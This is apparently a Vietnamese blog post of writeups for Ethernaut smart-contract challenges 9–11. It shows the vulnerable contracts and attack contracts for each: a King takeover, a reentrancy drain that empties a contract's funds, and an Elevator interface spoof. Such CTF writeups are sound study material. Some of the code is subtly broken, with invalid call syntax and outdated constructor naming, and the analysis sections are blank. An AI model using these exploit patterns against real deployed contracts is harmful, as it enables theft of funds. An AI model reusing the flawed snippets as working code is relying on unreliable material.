Skip to content

The Ethernaut writeups - Part 3: 9-11

Posted on:April 21, 2018

Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.

9. King

Nhiệm vụ: Đây là một trò chơi, trong đó người nào muốn trở thành king (nhà vua) thì sẽ phải trả giá cho người đang nắm giữ vị trí ấy một khoản tiền cao hơn giá trị của nhà vua hiện tại. Nhiệm vụ của bạn là bằng cách nào đó, trở thành king và giữ vị trí này mãi mãi, dù người khác có trả mức giá nào đi nữa

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

Phân tích

function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

Solution

await contract.king();
await contract.prize().then(x => x.toNumber);
> 1000000000000000000

nghĩa là giải thưởng hiện tại là 1 ether

contract Attack {

  function steal(address _target) public payable {
    if(!_target.call.{value: msg.value}()) revert();
  }
}
await contract.king();

completed

10. Re-entrancy

Nhiệm vụ: Rút hết tiền khỏi smart contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Phân tích

Solution

contract Attack {
    address target;
    Reentrance re;

    function Attack(address _target) {
        target = _target;
        re = Reentrance(target);
    }

    function attack() public payable {
        re.withdraw(0.5 ether);
    }

    receive() external payable {
        re.withdraw(0.5 ether);
    }
}
await getBalance(contract.address);
> 0

completed

Bình luận

11. Elevator

Nhiệm vụ: Chiếc thang máy này ngăn cản bạn lên tầng trên cùng. Bằng cách nào đó hãy break the rule và leo lên đỉnh.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Phân tích

Solution

contract ElevatorAttack {
  bool public isLast = true;

  function isLastFloor(uint) external returns (bool) {
    isLast = ! isLast;
    return isLast;
  }

  function attack(address _target) public {
    Elevator elevator = Elevator(_target);
    elevator.goTo(10);
  }
}
(await contract.top()) > true;

completed